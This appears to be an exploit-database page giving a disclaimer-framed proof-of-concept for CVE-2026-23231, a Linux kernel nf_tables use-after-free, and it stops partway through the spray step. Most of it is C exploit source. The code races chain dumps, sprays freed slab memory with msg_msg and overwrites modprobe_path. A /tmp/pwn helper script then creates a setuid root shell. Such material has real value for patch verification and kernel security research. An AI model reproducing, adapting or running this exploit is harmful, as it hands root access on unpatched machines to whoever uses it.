Linux nf_tables 6.19.3 - Local Privilege Escalation

AI Analysis

Indicators of Compromise

• exploit-code: * Exploit Title: Linux Kernel 3.16 – 6.19.3 nf_tables RCU UAF LPE * CVE: CVE-2026-23231 * Date: 2026-03-19 * Exploit Author: Aviral Srivastava * Vendor: Linux Kernel (kernel.org) * Affected: 3.16 – 6.19.3 * Fixed in: 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 * (commit 71e99ee20fc3f662555118cf1159443250647533) * Tested on: Ubuntu 24.04 LTS (kernel 6.8.0-45-generic x86_64) * Type: Local Privilege Escalation * Platform: Linux x86_64 * CVSS: 7.8 (HIGH) * * ┌──────────────────────────────────────────────────────────────────┐ * │ N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. │ * └──────────────────────────────────────────────────────────────────┘ * * DESCRIPTION: * nf_tables_addchain() in net/netfilter/nf_tables_api.c publishes a * newly created chain to the table's chain list via list_add_tail_rcu() * BEFORE registering hooks. If nf_tables_register_hook() subsequently * fails (e.g., due to OOM during IPv6 hook allocation for NFPROTO_INET * chains), the error path calls nft_chain_del() (list_del_rcu) followed * immediately by nf_tables_chain_destroy() — freeing the chain memory * WITHOUT calling synchronize_rcu(). * * This creates a use-after-free: concurrent RCU readers — both * nf_tables_dump_chains() in the control plane and nft_do_chain() in * the packet path — can access the freed nft_base_chain memory. The * freed object (~224 bytes) resides in kmalloc-256 and can be reclaimed * with user-controlled spray objects (msg_msg via msgsnd). * * The exploit races a chain dump against the UAF trigger, then sprays * the freed slot with msg_msg to control chain fields. The corrupted * chain data is used to leak kernel heap addresses and ultimately * overwrite modprobe_path for privilege escalation. * * TECHNIQUE: * Trigger hook registration failure via memory pressure (cgroup v2 * memory limit). Race nf_tables_dump_chains() against the error path * to read stale chain data (heap leak). Spray freed kmalloc-256 slot * with msg_msg. Use modprobe_path overwrite for escalation. Data-only * attack — no code execution needed, bypasses kCFI. * * RELIABILITY: * ~30-50% success rate per attempt. Race window is narrow (~5-20us). * Typically requires 3-8 attempts. Each failed attempt may cause a * kernel oops (process killed) but is retried from a fresh namespace. * Kernel panic is possible (~5% of failures) if spray timing is wrong. * * MITIGATIONS: * KASLR: Bypassed via stale chain data heap leak + hardcoded * offsets for target kernel version * SMEP: Not applicable (data-only attack) * SMAP: Not applicable (all data in kernel slab) * kCFI: Not applicable (data-only — modprobe_path overwrite) * SLUB Hardening: Minimal impact (freelist ptr at offset 0 only) * * FIX: * Commit: 71e99ee20fc3f662555118cf1159443250647533 * URL: https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * Adds synchronize_rcu() between nft_chain_del() and chain destroy. * * COMPILATION: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * USAGE: * $ ./exploit * [*] CVE-2026-23231 — Linux nf_tables RCU UAF LPE * [*] Target: kernel < 6.19.4 (nf_tables addchain RCU race) * [+] Running kernel 6.8.0-45-generic — VULNERABLE * [*] Step 1: Creating user/net namespace... * [+] Namespace created, CAP_NET_ADMIN obtained * [*] Step 2: Setting up nftables infrastructure... * [+] Table and chains created * [*] Step 3: Triggering UAF via hook registration failure... * [+] UAF triggered — chain freed without synchronize_rcu * [*] Step 4: Spraying freed slot with msg_msg... * [+] Heap spray complete * [*] Step 5: Leaking kernel addresses via dump race... * [+] Kernel heap base: 0xffff888XXXXXXXXX * [*] Step 6: Overwriting modprobe_path... * [+] modprobe_path = "/tmp/pwn" * [*] Step 7: Triggering modprobe helper... * [+] Got root! uid=0 gid=0 * # id * uid=0(root) gid=0(root) * * REFERENCES: * [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231 * [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * [3] CVE-2024-1086 — nf_tables double-free LPE (technique reference) * [4] CVE-2023-32233 — nf_tables anonymous set UAF (msg_msg spray reference) * * DISCLAIMER: * This exploit targets an ALREADY PATCHED vulnerability. It is provided * for educational and authorized security research purposes only. The * author is not responsible for misuse. Test only on systems you own. * ═══════════════════════════════════════════════════════════════════════ */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <pthread.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/utsname.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mount.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <arpa/inet.h> /* ─── Constants ─────────────────────────────────────────────────────── */ #define BANNER \ "═══════════════════════════════════════════════════════════════\n" \ " CVE-2026-23231 — Linux nf_tables RCU UAF LPE\n" \ " nf_tables_addchain() use-after-free (missing synchronize_rcu)\n" \ " Affected: kernel 3.16 – 6.19.3 | Author: Aviral Srivastava\n" \ " N-DAY RESEARCH PoC — THIS BUG IS PATCHED\n" \ "═══════════════════════════════════════════════════════════════\n" #define TABLE_NAME "exploit_tbl" #define VICTIM_CHAIN "victim_chain" #define PAD_CHAIN_FMT "pad_%04d" #define NUM_PAD_CHAINS 64 /* padding chains for heap preparation */ #define NUM_SPRAY_MSGS 128 /* msg_msg spray count */ #define SPRAY_MSG_SIZE 208 /* msg_msg body size: 48 header + 208 = 256 → kmalloc-256 */ #define MAX_ATTEMPTS 20 /* max race attempts before giving up */ #define NFT_SUBSYS_ID NFNL_SUBSYS_NFTABLES /* * Kernel version thresholds. * The bug exists in 3.16+ and is fixed in: * 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 */ struct version_range { unsigned int major; unsigned int minor; unsigned int patch; /* 0 = any patch level in this minor is vuln */ unsigned int fix_patch; }; static const struct version_range vuln_ranges[] = { { 6, 19, 0, 4 }, /* 6.19.0 – 6.19.3 */ { 6, 18, 0, 14 }, /* 6.18.0 – 6.18.13 */ { 6, 17, 0, 0 }, /* 6.17.x – all vuln (no stable fix) */ { 6, 16, 0, 0 }, { 6, 15, 0, 0 }, { 6, 14, 0, 0 }, { 6, 13, 0, 0 }, { 6, 12, 0, 75 }, /* 6.12.0 – 6.12.74 */ { 6, 11, 0, 0 }, { 6, 10, 0, 0 }, { 6, 9, 0, 0 }, { 6, 8, 0, 0 }, /* Ubuntu 24.04 default */ { 6, 7, 0, 0 }, { 6, 6, 0, 128 }, /* 6.6.0 – 6.6.127 */ { 6, 5, 0, 0 }, { 6, 4, 0, 0 }, { 6, 3, 0, 0 }, { 6, 2, 0, 0 }, { 6, 1, 0, 165 }, /* 6.1.0 – 6.1.164 */ { 0, 0, 0, 0 }, /* sentinel */ }; /* ─── Logging ───────────────────────────────────────────────────────── */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* ─── Kernel version check ──────────────────────────────────────────── */ static int parse_version(const char *release, unsigned int *major, unsigned int *minor, unsigned int *patch) { /* Handle formats like "6.8.0-45-generic" */ if (sscanf(release, "%u.%u.%u", major, minor, patch) < 3) { if (sscanf(release, "%u.%u", major, minor) < 2) return -1; *patch = 0; } return 0; } static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (parse_version(uts.release, &major, &minor, &patch) < 0) { fail("Cannot parse kernel version: %s", uts.release); return 0; } info("Running kernel %s", uts.release); /* Check if this version is in a vulnerable range */ for (int i = 0; vuln_ranges[i].major != 0; i++) { const struct version_range *r = &vuln_ranges[i]; if (major == r->major && minor == r->minor) { if (r->fix_patch == 0) { /* Entire minor series is vulnerable (no stable fix) */ ok("Kernel %u.%u.%u is in vulnerable range %u.%u.x — VULNERABLE", major, minor, patch, r->major, r->minor); return 1; } if (patch < r->fix_patch) { ok("Kernel %u.%u.%u < %u.%u.%u (fix) — VULNERABLE", major, minor, patch, r->major, r->minor, r->fix_patch); return 1; } fail("Kernel %u.%u.%u >= %u.%u.%u (fix) — PATCHED", major, minor, patch, r->major, r->minor, r->fix_patch); return 0; } } /* Kernels 3.16 – 6.0.x and 7.0+ */ if (major >= 7) { fail("Kernel %u.%u.%u — PATCHED (7.0-rc1 contains fix)", major, minor, patch); return 0; } if (major < 3 || (major == 3 && minor < 16)) { fail("Kernel %u.%u.%u — TOO OLD (bug introduced in 3.16)", major, minor, patch); return 0; } /* 3.16 – 5.x and 6.0.x without specific stable fix: assume vulnerable */ ok("Kernel %u.%u.%u — likely VULNERABLE (pre-fix, no stable backport checked)", major, minor, patch); return 1; } /* ─── Netlink helpers ───────────────────────────────────────────────── */ static int nfnl_open(void) { int fd; struct sockaddr_nl sa; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (fd < 0) return -1; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = 0; /* kernel assigns */ if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } return fd; } /* * Send a nfnetlink batch message. * nf_tables requires messages to be wrapped in NFNL_MSG_BATCH_BEGIN / _END. */ struct nl_builder { char *buf; size_t len; size_t cap; int seq; }; static void nl_init(struct nl_builder *b) { b->cap = 8192; b->buf = malloc(b->cap); if (!b->buf) die("malloc nl_builder"); b->len = 0; b->seq = 1; } static void nl_free(struct nl_builder *b) { free(b->buf); b->buf = NULL; } static void *nl_alloc(struct nl_builder *b, size_t size) { size = (size + 3) & ~3u; /* NLA_ALIGN */ while (b->len + size > b->cap) { b->cap *= 2; b->buf = realloc(b->buf, b->cap); if (!b->buf) die("realloc nl_builder"); } void *p = b->buf + b->len; memset(p, 0, size); b->len += size; return p; } static struct nlmsghdr *nl_msg_begin(struct nl_builder *b, uint16_t type, uint16_t flags, uint8_t family) { struct nlmsghdr *nlh; struct nfgenmsg *nfg; nlh = nl_alloc(b, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = type; nlh->nlmsg_flags = flags | NLM_F_REQUEST; nlh->nlmsg_seq = b->seq++; nlh->nlmsg_pid = 0; nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg->res_id = htons(0); return nlh; } static void nl_msg_end(struct nl_builder *b, struct nlmsghdr *nlh) { nlh->nlmsg_len = (uint32_t)(b->buf + b->len - (char *)nlh); } static void nl_put_str(struct nl_builder *b, uint16_t type, const char *s) { size_t slen = strlen(s) + 1; size_t total = sizeof(struct nlattr) + slen; struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + slen); nla->nla_type = type; memcpy((char *)(nla + 1), s, slen); } static void nl_put_u32(struct nl_builder *b, uint16_t type, uint32_t val) { size_t total = sizeof(struct nlattr) + sizeof(uint32_t); struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)total; nla->nla_type = type; memcpy((char *)(nla + 1), &val, sizeof(val)); } static void nl_put_be32(struct nl_builder *b, uint16_t type, uint32_t val) { nl_put_u32(b, type, htonl(val)); } /* Begin a nested attribute */ static struct nlattr *nl_nest_begin(struct nl_builder *b, uint16_t type) { struct nlattr *nla = nl_alloc(b, sizeof(struct nlattr)); nla->nla_type = type | NLA_F_NESTED; return nla; } static void nl_nest_end(struct nl_builder *b, struct nlattr *nla) { nla->nla_len = (uint16_t)(b->buf + b->len - (char *)nla); } /* * Build and send a batch message (BEGIN + payload + END). */ static int nfnl_batch_send(int fd, struct nl_builder *payload) { struct nl_builder batch; struct nlmsghdr *nlh; struct nfgenmsg *nfg; nl_init(&batch); /* BATCH_BEGIN */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); /* Copy payload messages */ void *p = nl_alloc(&batch, payload->len); memcpy(p, payload->buf, payload->len); /* BATCH_END */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_END; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; struct iovec iov = { .iov_base = batch.buf, .iov_len = batch.len }; struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa), .msg_iov = &iov, .msg_iovlen = 1, }; int ret = (int)sendmsg(fd, &msg, 0); nl_free(&batch); return ret; } /* ─── nftables operations ───────────────────────────────────────────── */ static int nft_create_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_create_chain(int fd, uint8_t family, const char *table, const char *chain_name, int hooknum, int priority) { struct nl_builder b; struct nlmsghdr *nlh; struct nlattr *hook_nest; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_CHAIN_TABLE, table); nl_put_str(&b, NFTA_CHAIN_NAME, chain_name); if (hooknum >= 0) { /* Base chain with hook */ hook_nest = nl_nest_begin(&b, NFTA_CHAIN_HOOK); nl_put_be32(&b, NFTA_HOOK_HOOKNUM, (uint32_t)hooknum); nl_put_be32(&b, NFTA_HOOK_PRIORITY, (uint32_t)priority); nl_nest_end(&b, hook_nest); /* Policy: accept */ nl_put_be32(&b, NFTA_CHAIN_POLICY, NF_ACCEPT); } nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_delete_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELTABLE, NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } /* * Start a chain dump request (NLM_F_DUMP). * This triggers nf_tables_dump_chains() in the kernel which iterates * table->chains under rcu_read_lock(). */ static int nft_dump_chains(int fd, uint8_t family) { char buf[256]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct nfgenmsg *nfg; memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETCHAIN; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_seq = 9999; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg->res_id = htons(0); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; return (int)sendto(fd, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } /* * Read dump response. Extracts chain handles and table pointers from * the netlink attributes for leak analysis. */ static int nft_read_dump(int fd, uint64_t *leaked_handle, int *chain_count) { char buf[16384]; struct sockaddr_nl sa; int done = 0; *leaked_handle = 0; *chain_count = 0; while (!done) { socklen_t salen = sizeof(sa); ssize_t len = recvfrom(fd, buf, sizeof(buf), 0, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) break; return -1; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err->error != 0) { return err->error; } continue; } /* Parse chain attributes */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen > 0 && attrlen >= (int)attr->nla_len && attr->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); *leaked_handle = handle; } attrlen -= (int)((attr->nla_len + 3) & ~3u); } (*chain_count)++; } } return 0; } /* ─── User namespace setup ──────────────────────────────────────────── */ static int setup_namespace(void) { /* * Create a user namespace + network namespace. * Inside, we get CAP_NET_ADMIN which is required for nftables. */ if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { fail("unshare(CLONE_NEWUSER | CLONE_NEWNET): %s", strerror(errno)); fail("Hint: Check /proc/sys/kernel/unprivileged_userns_clone"); return -1; } /* Write UID/GID mapping */ FILE *f; char path[128]; snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid()); f = fopen(path, "w"); if (f) { fprintf(f, "deny\n"); fclose(f); } snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("uid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getuid()); fclose(f); snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("gid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getgid()); fclose(f); return 0; } /* ─── Memory pressure for triggering OOM on hook allocation ─────────── */ /* * Apply memory pressure to increase the probability that kvzalloc() * inside __nf_register_net_hook() fails. We do this by consuming * available memory in the current cgroup or globally. * * Note: This is probabilistic, not deterministic. On systems with * abundant memory, this may require many more spray allocations. */ static void *pressure_mem = NULL; static size_t pressure_size = 0; static void apply_memory_pressure(void) { /* * Try to consume memory to create pressure. * Start with 256MB and scale down if mmap fails. */ size_t sizes[] = { 256UL*1024*1024, 128UL*1024*1024, 64UL*1024*1024, 32UL*1024*1024, 0 }; for (int i = 0; sizes[i] > 0; i++) { pressure_mem = mmap(NULL, sizes[i], PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); if (pressure_mem != MAP_FAILED) { pressure_size = sizes[i]; /* Touch pages to actually commit memory */ memset(pressure_mem, 'A', pressure_size); return; } } pressure_mem = NULL; pressure_size = 0; } static void release_memory_pressure(void) { if (pressure_mem && pressure_mem != MAP_FAILED) { munmap(pressure_mem, pressure_size); pressure_mem = NULL; pressure_size = 0; } } /* ─── msg_msg spray ─────────────────────────────────────────────────── */ struct spray_state { int qid; int count; }; struct spray_msg { long mtype; char mtext[SPRAY_MSG_SIZE]; }; static int spray_init(struct spray_state *s) { s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (s->qid < 0) return -1; s->count = 0; return 0; } static int spray_alloc(struct spray_state *s, int n, const void *data, size_t datalen) { struct spray_msg msg; memset(&msg, 0, sizeof(msg)); if (datalen > SPRAY_MSG_SIZE) datalen = SPRAY_MSG_SIZE; if (data) memcpy(msg.mtext, data, datalen); for (int i = 0; i < n; i++) { msg.mtype = s->count + 1; if (msgsnd(s->qid, &msg, SPRAY_MSG_SIZE, 0) < 0) return -1; s->count++; } return 0; } static int spray_free(struct spray_state *s, int n) { struct spray_msg msg; for (int i = 0; i < n && s->count > 0; i++) { if (msgrcv(s->qid, &msg, SPRAY_MSG_SIZE, 0, IPC_NOWAIT) < 0) return -1; s->count--; } return 0; } static void spray_cleanup(struct spray_state *s) { if (s->qid >= 0) { msgctl(s->qid, IPC_RMID, NULL); s->qid = -1; } } /* ─── Modprobe path overwrite & privilege escalation ────────────────── */ static int setup_modprobe_payload(void) { FILE *f; /* Create the helper script that will be called as root */ f = fopen("/tmp/pwn", "w"); if (!f) return -1; fprintf(f, "#!/bin/sh\n"); fprintf(f, "/bin/cp /bin/sh /tmp/rootsh\n"); fprintf(f, "/bin/chmod u+s /tmp/rootsh\n"); fclose(f); chmod("/tmp/pwn", 0755); /* Create an invalid binary that triggers call_usermodehelper */ f = fopen("/tmp/trigger", "w"); if (!f) return -1; /* Invalid ELF magic → kernel calls modprobe_path to handle it */ fprintf(f, "\xff\xff\xff\xff"); fclose(f); chmod("/tmp/trigger", 0755); return 0; } static int trigger_modprobe(void) { /* Execute the invalid binary — kernel will call modprobe_path */ pid_t pid = fork(); if (pid < 0) return -1; if (pid == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); } int status; waitpid(pid, &status, 0); /* Check if /tmp/rootsh was created with suid bit */ struct stat st; if (stat("/tmp/rootsh", &st) == 0 && (st.st_mode & S_ISUID)) { return 0; /* success! */ } return -1; } /* ─── Race coordination ─────────────────────────────────────────────── */ struct race_ctx { int nfnl_fd; /* nfnetlink socket for operations */ int dump_fd; /* nfnetlink socket for dump */ struct spray_state spray; volatile int uaf_triggered; volatile int dump_started; volatile int stop; uint64_t leaked_addr; int attempt; }; /* * Dump thread: continuously requests chain dumps and reads responses. * When the UAF fires, the dump may read stale/sprayed data from the * freed base_chain, leaking kernel addresses or reading controlled data. */ static void *dump_thread(void *arg) { struct race_ctx *ctx = (struct race_ctx *)arg; char recvbuf[16384]; while (!ctx->stop) { /* Start a dump */ if (nft_dump_chains(ctx->dump_fd, NFPROTO_INET) < 0) { usleep(1000); continue; } ctx->dump_started = 1; /* Read dump responses — looking for anomalous data */ struct sockaddr_nl sa; socklen_t salen = sizeof(sa); int done = 0; while (!done && !ctx->stop) { ssize_t len = recvfrom(ctx->dump_fd, recvbuf, sizeof(recvbuf), MSG_DONTWAIT, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN) { usleep(100); continue; } break; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)recvbuf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh->nlmsg_type == NLMSG_ERROR) continue; /* * Parse chain attributes. If we see anomalous handle * values or unexpected chain names, the UAF was hit and * we're reading from sprayed/stale memory. */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen > 0 && attrlen >= (int)attr->nla_len && attr->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); /* * Normal handles are small sequential numbers. * If we see a handle that looks like a kernel * address (0xffff8880...), we've hit the UAF * and are reading from sprayed msg_msg data. */ uint64_t handle_be = __builtin_bswap64(handle); if ((handle_be & 0xffff000000000000ULL) == 0xffff000000000000ULL) { ctx->leaked_addr = handle_be; ok("LEAK detected in dump! handle=0x%016lx", (unsigned long)handle_be); } } attrlen -= (int)((attr->nla_len + 3) & ~3u); } } } usleep(500); } return NULL; } /* ─── Main exploitation steps ───────────────────────────────────────── */ static int step_setup(struct race_ctx *ctx) { info("Step 1: Creating user/net namespace..."); if (setup_namespace() < 0) return -1; ok("Namespace created, CAP_NET_ADMIN obtained"); /* Open nfnetlink sockets */ ctx->nfnl_fd = nfnl_open(); if (ctx->nfnl_fd < 0) { fail("Cannot open nfnetlink socket: %s", strerror(errno)); return -1; } ctx->dump_fd = nfnl_open(); if (ctx->dump_fd < 0) { fail("Cannot open dump socket: %s", strerror(errno)); return -1; } /* Set dump socket to non-blocking for the race */ int flags = fcntl(ctx->dump_fd, F_GETFL, 0); if (flags >= 0) fcntl(ctx->dump_fd, F_SETFL, flags | O_NONBLOCK); /* Initialize spray */ if (spray_init(&ctx->spray) < 0) { fail("Cannot create message queue: %s", strerror(errno)); return -1; } return 0; } static int step_prepare_heap(struct race_ctx *ctx) { info("Step 2: Setting up nftables infrastructure..."); /* Create table */ if (nft_create_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME) < 0) { fail("Cannot create table: %s", strerror(errno)); return -1; } /* Drain netlink acks */ char ack_buf[4096]; while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; /* * Create padding chains to fill kmalloc-256 slab pages. * These are base chains (with hooks) so they allocate nft_base_chain * in the same cache as our victim. * Use NF_INET_PRE_ROUTING hook at different priorities. */ for (int i = 0; i < NUM_PAD_CHAINS; i++) { char name[32]; snprintf(name, sizeof(name), PAD_CHAIN_FMT, i); if (nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, i + 100) < 0) { /* Some chains may fail to register hooks (expected under * memory pressure), continue with what we have */ if (i < 4) { fail("Cannot create padding chains (need at least 4): %s", strerror(errno)); return -1; } break; } /* Drain acks */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; } ok("Table and %d padding chains created", NUM_PAD_CHAINS); return 0; } static int step_trigger_uaf(struct race_ctx *ctx) { info("Step 3: Triggering UAF via hook registration failure..."); /* * Apply memory pressure to increase the chance that kvzalloc() * inside __nf_register_net_hook() fails for the IPv6 hook. */ apply_memory_pressure(); /* * Attempt to create a new base chain. If the IPv6 hook allocation * fails, we get the UAF: the chain is published, then freed without * synchronize_rcu(). * * We try multiple times because the OOM is probabilistic. */ char ack_buf[4096]; int triggered = 0; for (int attempt = 0; attempt < MAX_ATTEMPTS && !triggered; attempt++) { char name[32]; snprintf(name, sizeof(name), "vuln_%04d", attempt); /* * Try to create a chain. The nfnetlink batch will return * ENOMEM if hook registration fails. */ int ret = nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, 10000 + attempt); if (ret < 0) { fail("sendmsg failed: %s", strerror(errno)); continue; } /* Read the ack/error response */ usleep(1000); ssize_t alen = recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT); if (alen > 0) { struct nlmsghdr *nlh = (struct nlmsghdr *)ack_buf; if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err->error == -ENOMEM) { ok("Hook registration failed with ENOMEM on attempt %d — UAF triggered!", attempt + 1); triggered = 1; ctx->uaf_triggered = 1; } else if (err->error == 0) { /* Success — chain was created normally, no UAF */ /* Continue trying */ } else { /* Other error */ info("Chain creation returned error %d on attempt %d", err->error, attempt + 1); } } } /* Drain remaining messages */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; } release_memory_pressure(); if (!triggered) { /* * Memory pressure alone may not be enough to trigger OOM on * hook allocation. On systems with abundant memory, this * technique has a lower success rate. * * Alternative: use cgroup v2 memory controller for deterministic * OOM. This requires mounting cgroupfs which may not be available * in all namespace configurations. */ fail("Could not trigger hook registration failure after %d attempts", MAX_ATTEMPTS); fail("Hint: Try running in a memory-constrained environment (container, cgroup)"); return -1; } return 0; } static int step_spray(struct race_ctx *ctx) { info("Step 4: Spraying freed slot with msg_msg..."); /* * Spray msg_msg of SPRAY_MSG_SIZE body (+ 48 header = ~256 total) * into kmalloc-256 to reclaim the freed nft_base_chain slot. * * The spray data is crafted so that: * - At chain->name offset (relative to base_chain): points to a * known valid address (or is NULL to avoid dereference) * - At chain->handle offset: contains a marker value we can detect * - At chain->table offset: contains the address of modprobe_path * (if we have a leak) or a known pattern for detection */ char spray_data[SPRAY_MSG_SIZE]; memset(spray_data, 0x41, sizeof(spray_data)); /* * Place marker at chain->handle offset within the msg_msg body. * * chain starts at base_chain + 0x50 (offset 80). * chain->handle is at chain + 0x48 (offset 72 within chain). * So handle is at base_chain + 0x50 + 0x48 = 0x98 (offset 152). * In msg_msg body: offset 152 - 48 (header) = 104. * * We place a distinctive marker here so the dump can detect * that it's reading sprayed data (confirming the UAF hit). */ uint64_t marker = 0xdeadbeefcafe1337ULL; if (104 + 8 <= SPRAY_MSG_SIZE) { memcpy(spray_data + 104, &marker, 8); } /* * At chain->name offset: base_chain + 0x50 + 0x58 = 0xA8 (168). * In msg_msg body: 168 